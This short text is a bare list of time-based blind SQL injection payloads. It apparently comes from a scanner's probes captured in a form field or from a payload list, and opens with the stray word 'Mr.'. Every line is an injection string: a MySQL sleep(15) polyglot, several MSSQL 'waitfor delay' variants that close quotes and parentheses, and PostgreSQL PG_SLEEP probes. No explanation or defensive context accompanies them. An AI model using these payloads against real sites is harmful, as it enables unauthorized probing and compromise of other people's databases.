Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

7yEwVbgR'; waitfor delay '0:0:15' --

3hH17X6y'); waitfor delay '0:0:15' --

11whW0B0')); waitfor delay '0:0:15' --

-5 OR 67=(SELECT 67 FROM PG_SLEEP(15))--

-5) OR 71=(SELECT 71 FROM PG_SLEEP(15))--